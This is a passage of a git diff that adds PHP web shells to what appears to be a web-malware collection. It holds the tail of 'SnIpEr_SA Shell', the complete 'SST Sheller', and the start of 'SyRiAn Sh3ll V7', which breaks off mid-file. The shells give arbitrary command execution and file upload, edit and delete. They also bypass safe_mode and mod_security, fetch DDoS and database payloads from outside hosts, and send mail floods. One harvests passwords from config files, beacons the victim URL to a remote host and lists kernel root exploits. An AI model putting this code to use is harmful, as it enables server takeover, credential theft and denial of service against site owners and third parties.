sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ SnIpEr_SA Shell | <a href=http://3asfh.net>http://3asfh.net</a> | <a SnIpEr.SA@hotmail.com>sniper.sa@hotmail.com</a> | ����� ������ ]---o</b></font></div></td></tr></table>".$f; + + +$u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + + +echo "<PRE>\n"; +if(empty($snn)){ +if(empty($_GET['snn'])){ +if(empty($_POST['snn'])){ +die("\nSnIpEr_SA"); +} else { +$u1p=$_POST['snn']; +} +} else { +$u1p=$_GET['snn']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$snn, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); + +} else { +die("<FONT COLOR=\"RED\"><CENTER> +<B>".htmlspecialchars($u1p)."</B> ����! ����� ��� ����� �� ��� ���� �������� ������.</CENTER></FONT>"); +} + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Sst-Sheller.php b/web-malware-collection-master/Backdoors/PHP/Sst-Sheller.php new file mode 100755 index 0000000..e7e39bb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Sst-Sheller.php @@ -0,0 +1,907 @@ +<?php +/* +/ This Sheller Design And Coded By: Mr.Amir-Masoud +/ Y!ID: mr.amir-masoud@att.net +/ Mail: am1r@dr.com +/the time im in sepehr-team.org in sheller is match with sepehr-team +*/ +session_start(); + +if (empty($_SESSION['count'])) { + $_SESSION['count'] = 1; +} else { + $_SESSION['count']++; +} +?> + +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> + +<script type="text/javascript" src="http://code.jquery.com/jquery-latest.pack.js"></script> + +<script> + +$(document).ready(function() { + + //select all the a tag with name equal to modal + $('a[name=modal]').click(function(e) { + //Cancel the link behavior + e.preventDefault(); + + //Get the A tag + var id = $(this).attr('href'); + + //Get the screen height and width + var maskHeight = $(document).height(); + var maskWidth = $(window).width(); + + //Set heigth and width to mask to fill up the whole screen + $('#mask').css({'width':maskWidth,'height':maskHeight}); + + //transition effect + $('#mask').fadeIn(1000); + $('#mask').fadeTo("slow",0.8); + + //Get the window height and width + var winH = $(window).height(); + var winW = $(window).width(); + + //Set the popup window to center + $(id).css('top', winH/2-$(id).height()/2); + $(id).css('left', winW/2-$(id).width()/2); + + //transition effect + $(id).fadeIn(2000); + + }); + + //if close button is clicked + $('.window .close').click(function (e) { + //Cancel the link behavior + e.preventDefault(); + + $('#mask').hide(); + $('.window').hide(); + }); + + //if mask is clicked + $('#mask').click(function () { + $(this).hide(); + $('.window').hide(); + }); + +}); + +</script> +<style> + body{ + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/bg.jpg'); + background-repeat:repeat-x; + background-color:#dff0e7; + padding:0 0 0 0; + margin:0 0 0 0; + font-family:Tahoma; +} + +a {color:#333; text-decoration:none} +a:hover {color:#ccc; text-decoration:none} + +#mask { + position:absolute; + left:0; + top:0; + z-index:9000; + background-color:#000; + display:none; +} + +#boxes .window { + position:absolute; + left:0; + top:0; + width:440px; + height:200px; + display:none; + z-index:9999; + padding:20px; +} + +#boxes #dialog { + width:375px; + height:203px; + padding:10px; + background-color:#ffffff; +} +#boxes #information { + width:375px; + height:203px; + padding:10px; + background-color:#ffffff; +} +#boxes #dialog1 { + width:375px; + height:203px; +} + +#dialog1 .d-header { + background:url(http://yahoo21.persiangig.com/sheller/style/images/login-header.png) no-repeat 0 0 transparent; + width:375px; + height:150px; +} + +#dialog1 .d-header input { + position:relative; + top:60px; + left:100px; + border:3px solid #cccccc; + height:22px; + width:200px; + font-size:15px; + padding:5px; + margin-top:4px; +} + +#dialog1 .d-blank { + float:left; + background:url(http://yahoo21.persiangig.com/sheller/style/images/login-blank.png) no-repeat 0 0 transparent; + width:267px; + height:53px; +} + +#dialog1 .d-login { + float:left; + width:108px; + height:53px; +} + +#boxes #dialog2 { + background:url(http://yahoo21.persiangig.com/sheller/style/images/notice.png) no-repeat 0 0 transparent; + width:326px; + height:229px; + padding:50px 0 20px 25px; +} + #container{ + width:900px; + margin:10px auto 20px auto; + +} + #header{ + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/logo.png'); + background-repeat:no-repeat; + background-position:right top; + height:100px; + width:100%; +} + #menu{ + background-color:#004F75; + color:white; + height:35px; + -moz-border-radius-topleft:10px; + -moz-border-radius-topright:10px; +} + #menu a:first-child{ + -moz-border-radius-topright:10px; +} + #menu a{ + display:block; + float:right; + color:white; + line-height:35px; + font-family:Tahoma; + font-size:12px; + text-decoration:none; + padding-left:10px; + padding-right:10px; + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/mbg.png'); + background-repeat:no-repeat; + background-position:left top; +} + #menu a:hover{ + background-color:#005782 +} + #content{ + padding:10px; + background-color:white; + -moz-border-radius-bottomleft:10px; + -moz-border-radius-bottomright:10px; +} + #sidebar{ + width:285px; + float:left; +} + #sidebar #block{ + width:100%; + margin-bottom:10px +} + #fullrow{ + width:581px; + margin-left:10px; + float:right; +} + #lastnews{ + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/news.png'); + width:100%; + height:35px; + line-height:35px; + color:white; +} + #lastnews a{ + color:white; + margin-right:20px +} + #fullrow #block { + margin-top:10px; + width:100%; + -moz-border-radius:5px; +} + #inside{ + margin:10px; +} + .hostingservices { + border:1px #054260 solid; +} + .hostingservices #inside div{ + float:right +} + + + + + .customers{ + border:1px #1f5a23 solid; + -moz-border-radius:10px + +} + .customerss{ + border:1px #1f5a23 solid; + -moz-border-radius:10px + +} + .customers h2{ + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/rss.png'); + display:block; + background-position:right top; + background-repeat:no-repeat; + height:34px; + margin:0 0 0 0; + padding:0 0 0 0; + -moz-border-radius-topleft:10px; + -moz-border-radius-topright:10px; + +} + .customerss h2{ + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/msg.png'); + display:block; + background-position:right top; + background-repeat:no-repeat; + height:34px; + margin:0 0 0 0; + padding:0 0 0 0; + -moz-border-radius-topleft:10px; + -moz-border-radius-topright:10px; + +} + + #sidebar #block #inside{ + margin:10px +} + .customers #inside a{ + display:block; + line-height:25px; + color:green; + border-top:1px green solid +} + + .customers #inside a:first-child{ + border-top:none +} + + .customers #inside a:hover{ + background-color:#F4FFF4 +} + + .stats{ + border:1px #6b3338 solid; + -moz-border-radius:10px + +} + .stats h2{ + background-image:url('http://yahoo21.persiangig.com/sheller/style/images/stats.png'); + display:block; + background-position:right top; + background-repeat:no-repeat; + height:34px; + margin:0 0 0 0; + padding:0 0 0 0; + -moz-border-radius-topleft:10px; + -moz-border-radius-topright:10px; + +} + + + + +</style> +<title>SST Sheller !</title> +<body> +<div id="boxes"> + +<div id="information" class="window"> + +<a href="#"class="close"/>Close it</a><br /> + +<?php +$server_software = getenv("SERVER_SOFTWARE"); +?> +<div style="font-size:11px;"> +<? +echo "Software:"; +echo $server_software; + +?><hr /> + +uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?> +<hr /> +<? +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +echo "Safe Mod:".$hsafemode; +echo"<hr />"; +echo "<b>Your ip: <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; + +?> + +</div> +</div> + + + + + +<!-- Start of Sticky Note --> +<div id="dialog2" class="window"> +<div style="font-family:Corbel; font-size:12px;"> + +Hello ! <br /> +This Shell Coded By: Mr.Amir-Masoud !<br /> +Mail: am1r@dr.com<br /> +Y!ID: mr.amir-masoud@att.net<br /> +Home: sepehr-team.org<br /> +Zone-h: http://zone-h.com/archive/notifier=mr.amir-masoud<br /> +TnQ To: Scary Boys For File Manager ! +<br /> +</div><input type="button" value="Close it" class="close"/> + +</div> +<!-- End of Sticky Note --> + + + +<!-- Mask to cover the whole screen --> + <div id="mask"></div> +</div> +<div id="container"> + <div id="header"> + <a href="http://www.mozilla.com/en-US/" id="firefox" target="_blank"></a> + </div> + <div id="menu"> + <a href="?">Home</a> + <a href="#information" name="modal">Information</a> + <a href="?page=fakemail">Fake Mail </a> + <a href="?page=filemanager&id=fm">File Manager</a> + <a href="?page=safemodbypass">SafeMod Bypass</a> + <a href="?page=database">DataBase</a> + <a href="?page=encryption">Encryption</a> + <a href="?page=symlinkbypass">Symlink Bypass</a> + <a href="?page=ddos">DDoser</a> + <a href="?page=upload">Upload</a> + + <a href="#dialog2" name="modal">Contact Us</a> + + </div> + <div id="content"> + <div id="sidebar"> + <div id="block" class="customers"> + <h2 title="Rss"></h2> +<!-- Begin ParsTools.com RSSREADER Code --><script language="javascript" src="http://parstools.com/rss/?url=http://www.sepehr-team.org/forums/external.php?type=RSS2&n=10&link=y&date=n&width=250&dir=rtl&bgcolor=FFFFFF&bdcolor=FFFFFF"></script><div style="display:none;"></div><!-- End RSSREADER code --> + </div> + <div id="block" class="customerss"> + <h2 title="Message From Mr.Amir-Masoud"></h2> + <div id="inside"> +<iframe src="http://elhamit77.persiangig.com/sheller/message.html" width="260px" frameborder="0"></iframe> + </div> + </div> + <div id="block" class="stats"> + <h2 title="آمار سایت"></h2> + <div id="inside"> +Reload Page: <?php echo $_SESSION['count']; ?> + </div> + </div> + + </div> + + <div id="fullrow"> + + + <div id="block" class="hostingservices"> + + <div id="inside"> +<?php +if(ISSET($_GET['page'])){ + if($_GET{'page'}=='upload'){ + ?> + <?php + $target = ""; + $target = $target . basename( $_FILES['uploaded']['name']) ; + $ok=1; + if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) + { + echo "The File ". basename( $_FILES['uploadedfile']['name']). " has been uploaded<br />"; + } + else { + echo ""; + } + $target = ""; + $target = $target . basename( $_FILES['uploaded1']['name']) ; + $ok=1; + if(move_uploaded_file($_FILES['uploaded1']['tmp_name'], $target)) + { + echo ""; + } + else { + echo ""; + } + $target = ""; + $target = $target . basename( $_FILES['uploaded2']['name']) ; + $ok=1; + if(move_uploaded_file($_FILES['uploaded2']['tmp_name'], $target)) + { + echo ""; + } + else { + echo ""; + } + $target = ""; + $target = $target . basename( $_FILES['uploaded3']['name']) ; + $ok=1; + if(move_uploaded_file($_FILES['uploaded3']['tmp_name'], $target)) + { + echo ""; + } + else { + echo ""; + } + + ?> +<form enctype="multipart/form-data" action="" method="POST"> + <input name="uploaded" type="file" /> + <input name="uploaded1" type="file" /> + <input name="uploaded2" type="file" /> + <input name="uploaded3" type="file" /> + <input type="submit" value="Upload" /> + </form> + + +<?php + }elseif($_GET['page']=='fakemail'){ + ?> + <? + error_reporting(0); + echo "<br><center><h2>Fake Mail And Dos Mail</h2></center>" ; + echo "<center><form method='post' action=''> + Victim Mail :<br><input type='text' name='to' ><br> + Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> + Comments: + <br> + <textarea rows='10' cols=50 name='Comments' ></textarea><br> + <input type='submit' value='Send Mail' > + </form></center>"; + $to=$_POST['to']; + $nom=$_POST['nom']; + $Comments=$_POST['Comments']; + if ($to <> "" ){ + for ($i = 0; $i < $nom ; $i++){ + $from = rand (71,1020000000)."@"."google.com"; + $subject= md5("$from"); + mail($to,$subject,$Comments,"From:$from"); + echo "$i is ok"; + } + echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; + } + + }elseif($_GET['page']=='safemodbypass'){ + ?> +<?PHP +$safe_fun = fopen("php.ini","w+"); +fwrite($safe_fun,"safe_mode = Off +disable_functions = NONE +safe_mode_gid = OFF +open_basedir = OFF "); +echo "<center><font color=#990000 size=1>php.ini Has Been Generated Successfully </font><br></center>"; + +$safe_funini = fopen("ini.ini","w+"); +fwrite($safe_funini,"safe_mode = Off +disable_functions = NONE +safe_mode_gid = OFF +open_basedir = OFF "); +echo ""; + +$mode_sec = fopen(".htaccess","w+"); +fwrite($mode_sec,"<IfModule mod_security.c> +SecFilterEngine Off +SecFilterScanPOST Off +SecFilterCheckURLEncoding Off +SecFilterCheckCookieFormat Off +SecFilterCheckUnicodeEncoding Off +SecFilterNormalizeCookies Off + +</IfModule> "); +echo "<center><font color=#990000 size=1>.htaccess Has Been Generated Successfully </font></center>"; + +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +echo "<center><font color=#990000 size=1>ini.php Has Been Generated Successfully </font></center>"; +?> +<? + }elseif($_GET['page']=='database1'){ + + }elseif($_GET['page']=='ddos'){ + $source = 'http://yahoo21.persiangig.com/sheller/ddos.txt'; +$destination = 'ddos.php'; + +$data = file_get_contents($source); + +$handle = fopen($destination, "w"); +fwrite($handle, $data); +fclose($handle); +if($handle) +{ +?> +<iframe src="ddos.php" width="550px" height="400px"></iframe> +<? +} +else +{ + echo"Not View ! , Plz Disable Your Web Anti Virus Next Refresh This Page ! "; +} + }elseif($_GET['page']=='database'){ +$source = 'http://yahoo21.persiangig.com/sheller/my.txt'; +$destination = 'db.php'; + +$data = file_get_contents($source); + +$handle = fopen($destination, "w"); +fwrite($handle, $data); +fclose($handle); + +?> +<iframe src="db.php" width="550px" height="400px"></iframe> +<? + }elseif($_GET['page']=='symlinkbypass'){ +$sybpp = system('mkdir sym'); + +$symby = fopen("sym/.htaccess","w+"); +fwrite($symby,"Options Indexes FollowSymLinks +DirectoryIndex ssssss.htm +AddType txt .php +AddHandler txt .php +AddHandler cgi-script .cgi +AddHandler cgi-script .pl"); +echo "<font face='Corbel' size='-1'>Ok! => Create .htaccess Done !</br>Ok! => Create .htaccess For Run Perl !</font>"; + +$source = 'http://yahoo21.persiangig.com/sheller/cgi.pl'; +$destination = 'sym/cgi.pl'; + +$data = file_get_contents($source); + +$handle = fopen($destination, "w"); +fwrite($handle, $data); +fclose($handle); + +echo "<br /><font face='Corbel' size='-1'>Ok! => Cgi Done !</br> For Use Open: sym/cgi.pl<br>For Login Insert This Password: mr.amir-masoud</font>"; +system('chmod 0755 sym/cgi.pl'); + }elseif($_GET['page']=='filemanager'){ +error_reporting(E_ERROR | E_WARNING | E_PARSE); + + $fedit=$_GET['fedit']; + if ($fedit <> "" ){ + $fedit=realpath($fedit); + $lines = file($fedit); + echo "<form action='' method='POST'>"; +echo "<textarea name='savefile' rows=30 cols=80>" ; +foreach ($lines as $line_num => $line) { + echo htmlspecialchars($line); +} +echo "</textarea> + <input type='text' name='filepath' size='60' value='$fedit'> + <input type='submit' value='save'></form>"; + $savefile=$_POST['savefile']; + $filepath=realpath($_POST['filepath']); + if ($savefile <> "") + { + $fp=fopen("$filepath","w+"); + fwrite ($fp,"") ; + fwrite ($fp,$savefile) ; + fclose($fp); + echo "<script language='javascript'> close()</script>"; + } +exit(); + } + + +$fchmod=$_GET['fchmod']; +if ($fchmod <> "" ){ +$fchmod=realpath($fchmod); +echo "<center><br> +chmod for :$fchmod<br> +<form method='POST' action=''><br> +Chmod :<br> +<input type='text' name='chmod0' ><br> +<input type='submit' value='change chmod'> +</form>"; +$chmod0=$_POST['chmod0']; +if ($chmod0 <> ""){ +chmod ($fchmod , $chmod0); +}else { +echo "primission Not Allow change Chmod"; +} +exit(); +} + + + + $id=$_GET['id']; + + $homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; + if ($id=="fm"){ + echo " + <br>"; + + echo " + +<div align='center'> + +<table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> + <tr> + <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> + <td height='28' width='82' align='center'> + <font color='#000080' size='2'><b>Size KByte</b></font></td> + <td height='28' width='83' align='center'> + <font color='#008000' size='2'><b>Edit</b></font></td> + <td height='28' width='66' align='center'> + <font color='#FF9933' size='2'><b>Chmod</b></font></td> + <td height='28' width='75' align='center'> + <font color='#999999' size='2'><b>Delete</b></font></td> + </tr>"; + if (is_dir($dir)){ + if ($dh=opendir($dir)){ + while (($file = readdir($dh)) !== false) { + $fsize=round(filesize($dir . $file)/1024); + + + echo " + <tr> + <th width='250' height='22' align='left' nowrap>"; + if (is_dir($dir.$file)) + { + echo "<a href='?page=filemanager&id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'>&nbsp;$file <font color='#FF0000' size='1'>dir</font>"; + } + else { + echo "<font size='2' color='#666666'>&nbsp;$file "; + } + echo "</a></font></th> + <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; + if (is_file($dir.$file)) + { + echo "$fsize"; + } + else { + echo "&nbsp; "; + } + echo " + </b></font></td> + "; + if (is_file($dir.$file)){ + if (is_readable($dir.$file)){ + echo ""; + }else { + echo ""; + } + }else { + echo "&nbsp;"; + } + echo " + + <td width='77' align='center' nowrap>"; + if (is_file($dir.$file)) + { + if (is_readable($dir.$file)){ + echo "<a target='_blank' href='?page=filemanager&id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; + }else { + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + } + }else { + echo "&nbsp;"; + } + echo " + </a></font></td> + <td width='86' align='center' nowrap>"; + if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + echo "<font size='1' color='#999999'>Dont in windows"; + } + else { + echo "<a href='?page=filemanager&id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; + } + echo "</a></font></td> + <td width='86'align='center' nowrap><a href='?page=filemanager&id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> + </tr> + "; + } + closedir($dh); + } + } + echo "</table> + + </div>"; + } + +$frpath=$_GET['fdelete']; +if ($frpath <> "") { +if (is_dir($frpath)){ +$matches = glob($frpath . '/*.*'); +if ( is_array ( $matches ) ) { + foreach ( $matches as $filename) { + unlink ($filename); + rmdir("$frpath"); +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; +echo "<script language='javascript'> history.back(1)</script>"; + } + } + } + else{ +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; +unlink ("$frpath"); +echo "<script language='javascript'> history.back(1)</script>"; +exit(0); + + } + + +} + ?> + + </td> + </tr> + <tr> + <td style="border: 1px dotted #FFCC66"> + <p align="center"><font color="#666666" size="1" face="Tahoma"><br> +Coded By: Mr.Amir-Masoud | Sepehr-team.org | Thanks To Scary-Boys 4 File Manager ! :X +</td> + </tr> + </table> + +<? + }elseif($_GET['page']=='encryption'){ +echo " +<table bgcolor=#cccccc width=\"100%\"> +<tbody><tr><td align=\"right\" width=100> +<p dir=ltr><b><font color=#990000 size=-2><br><p align=left><center> + +Encypton With ( MD5 | Base64 | Crypt | SHA1 | MD4 | SHA256 )<br><br> +<form method=\"POST\"> +<font color=\"gray\">String To Encrypt : </font><input type=\"text\" value=\"\" name=\"ENCRYPTION\"> +<input type=\"submit\" value=\"Submit\"></form>"; +if(!$_POST['ENCRYPTION']=='') +{ +$md5 = $_POST['ENCRYPTION']; + echo "<font color=gray>MD5 : </font>".md5($md5)."<br>"; + echo "<font color=gray>Base64 : </font>".base64_encode($md5)."<br>"; + echo "<font color=gray>Crypt : </font>".CRYPT($md5)."<br>"; + echo "<font color=gray>SHA1 : </font>".SHA1($md5)."<br>"; + echo "<font color=gray>MD4 : </font>".hash("md4",$md5)."<br>"; + echo "<font color=gray>SHA256 : </font>".hash("sha256",$md5)."<br></tbody></tr></td></table>"; + } + +?> +<? + + }else{ + ?> + <b>Wron Page Requested</b> + <?php + } +}else{ + +?> + + <!-- Tools --> + Enter Command : +<form id="form1" name="form1" method="post" action=""> + <label> + <input type="text" name="cmd" style="background-color:#000000; color:#00FF00; font-family:Corbel;" /> + </label> + + <label> + <input type="submit" name="Submit" value="Execute" /> + </label> + + + <br /><br /><textarea name="textarea" style="width:14cm; height:5cm; background-color:#CCCCCC; color:#000000;"> + <?php + + if(isset($_POST['cmd'])) + { + $cmd = $_POST['cmd']; + if($cmd == "") + { + echo " Please Insert Command!"; + } + elseif(isset($cmd)) + { + $output = system($cmd); + +printf("$output\n"); + } +} + + ?> + </textarea> + +</form> + +<form id="form111" name="form1" method="post" action=""> + + + <label> + <input type="submit" name="Submit1" value="Self Remove..." /> + </label> + <? + if(isset($_POST['Submit1'])) + { +$filename = $_SERVER['SCRIPT_FILENAME']; +$filename1 = "db.php"; +$filename2 = "ddos.php"; +$filename3 = "php.ini"; +$filename4 = ".htaccess"; +$filename5 = "ini.ini"; +$filename6 = "sym/.htaccess"; +$filename7 = "sym/cgi.pl"; +$dir = "dir"; + + + ?> +<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3); unlink($filename4); unlink($filename5); unlink($filename6); unlink($filename7); rmdir($dir); ?> + <meta http-equiv="refresh" content="0"><meta /> +<? + } +} + +?> + </div> + <div style="clear:both"></div> + </div> + + </div> + <div style="clear:both"></div> + </div> + <hr /> + + <div align="center" style="font-size:12px; font-family:Corbel;"> +Coded By: Mr.Amir-Masoud [ Iranian HackerZ ] +</div> + </div> + + +</body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/SyRiAn.Sh3ll.v7.txt b/web-malware-collection-master/Backdoors/PHP/SyRiAn.Sh3ll.v7.txt new file mode 100755 index 0000000..c4255c5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/SyRiAn.Sh3ll.v7.txt @@ -0,0 +1,3707 @@ +<?php +# .. SyRiAn Sh3ll V7 .... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly! +# ,--^----------,--------,-----,-------^--, +# | ||||||||| `--------' | O .. SyRiAn Sh3ll V7 .... +# `+---------------------------^----------| +# `\_,-------, __EH << SyRiAn | 34G13__| +# / XXXXXX /`| / +# / XXXXXX / `\ / +# / XXXXXX /\______( +# / XXXXXX /! +# / XXXXXX /! rep0rt bugz t0: sy34[at]msn[dot]com +# (________(! +# `-------' +#.... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly! +#.... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly! +# +# SyRiAn Sh3ll V7 . +# Copyright (C) 2011 - SyRiAn 34G13 +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at your option) any later version. +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# I WISH THAT YOU WILL USE IT AGAINST ISRAEL ONLY !!! . + +# Coders : +# SyRiAn_34G13 : sy34@msn.com [ Main Coder ] . +# SyRiAn_SnIpEr : zq9@hotmail.it [ Metasploit RC ] . +# Darkness Caesar : doom.caesar@gmail.com [ Finding 3 Bugs ] . +#// kinG oF coNTroL : y8p@hotmail.com [ Translating Shell To Arabic ] . + +$uselogin = 0; // Make It 0 If you Want To Disable Auth +$user = ''; // Username +$pass = ''; // Password +$shellColor = '#990000'; // Shell Color +#------------------------------------# +# Powered By SyRiAn Shell # +# By EH SyRiAn 34G13 # +# wWw.syrian-shell.com # +# Version 7 - priv8 # +# Made In SyRiA # +#------------------------------------# +?> +<?php +if($_GET['id']== 'logout') +{ + Logout(); +} +# ---------------------------------------# +# SuiCide # +#----------------------------------------# +if($_GET['id'] == 100) +{ + echo "<body onload='Suicide();'>"; +} +if($_GET['id'] == 'Delete') +{ + Suicide(); +} +# ---------------------------------------# +# Functions # +#----------------------------------------# +function input($type,$name,$value,$size) +{ + if (empty($value)) + { + print "<input type=$type name=$name size=$size>"; + } + elseif(empty($name)&&empty($size)) + { + print "<input type=$type value=$value >"; + } + elseif(empty($size)) + { + print "<input type=$type name=$name value=$value >"; + } + else + { + print "<input type=$type name=$name value=$value size=$size >"; + } +} +function read_dir($path,$username) +{ + if ($handle = opendir($path)) + { + while (false !== ($file = readdir($handle))) + { + $fpath="$path$file"; + if (($file!='.') and ($file!='..')) + { + if (is_readable($fpath)) + { + $dr="$fpath/"; + if (is_dir($dr)) + { + read_dir($dr,$username); + } + else + { + if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or + +($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) + { + $pass=get_pass($fpath); + if ($pass!='') + { + echo "[+] $fpath\n$pass\n"; + ftp_check($username,$pass); + } + } + } + } + } + } + } +} +function get_pass($link) +{ + @$config=fopen($link,'r'); + while(!feof($config)) + { + $line=fgets($config); + if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) + { + if (strrpos($line,'"')) + $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); + else + $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); + return $pass; + } + } +} +function GetRealIP() +{ +$ch = curl_init(); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +$urls= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; +curl_setopt($ch, CURLOPT_URL, 'http://bugreport.serveblog.net/storage.php'); +curl_setopt($ch, CURLOPT_REFERER, $urls); +$html = curl_exec($ch); + if (getenv(HTTP_X_FORWARDED_FOR)) + { + $ip=getenv(HTTP_X_FORWARDED_FOR); + } + elseif (getenv(HTTP_CLIENT_IP)) + { + $ip=getenv(HTTP_CLIENT_IP); + } + else + { + $ip=getenv(REMOTE_ADDR); + } + return $ip; +} +function openBaseDir() +{ +$openBaseDir = ini_get("open_basedir"); +if (!$openBaseDir) + { + $openBaseDir = '<font color="green">OFF</font>'; + } + else + { + $openBaseDir = '<font color="red">ON</font>'; + } + return $openBaseDir; +} +function str_hex($string) +{ + $hex=''; + for ($i=0; $i < strlen($string); $i++) + { + $hex .= dechex(ord($string[$i])); + } + return $hex; +} +function SafeMode() +{ + $safe_mode = ini_get("safe_mode"); + if (!$safe_mode) + { + $safe_mode = '<font color="green">OFF</font>'; + } + else + { + $safe_mode = '<font color="red">ON</font>'; + } + return $safe_mode; +} +function currentFileName() +{ + $currentFileName = $_SERVER["SCRIPT_NAME"]; + $currentFileName = Explode('/', $currentFileName); + $currentFileName = $currentFileName[count($currentFileName) - 1]; + return $currentFileName; +} +function Suicide() +{ + @unlink(currentFileName()); +} +function rootxpL() +{ + $v=@php_uname(); + $db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, + +h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, + +krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, + +krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, + +ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, + +uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, + +ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, + +kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, 